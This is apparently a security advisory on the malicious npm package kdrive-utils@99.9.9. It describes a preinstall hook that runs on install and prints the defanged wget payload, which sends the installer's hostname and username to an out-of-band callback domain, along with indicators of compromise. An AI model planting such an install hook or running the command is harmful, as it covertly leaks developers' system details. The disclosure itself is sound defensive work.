kdrive-utils@99.9.9

Analysis

The preinstall lifecycle hook (runs automatically during npm install) silently sends the installer's hostname and username via HTTP GET to an out-of-band callback domain d8svb0ao12pnoovdaih0giunhdew5oqa4[.]oast[.]live. The payload is: wget -q -O- "hxxp://d8svb0ao12pnoovdaih0giunhdew5oqa4[.]oast[.]live/$(hostname)/$(whoami)". The package contains no functional code beyond this recon beacon. IOCs: oast[.]live (domain), d8svb0ao12pnoovdaih0giunhdew5oqa4[.]oast[.]live, the full exfiltration path /$(hostname)/$(whoami).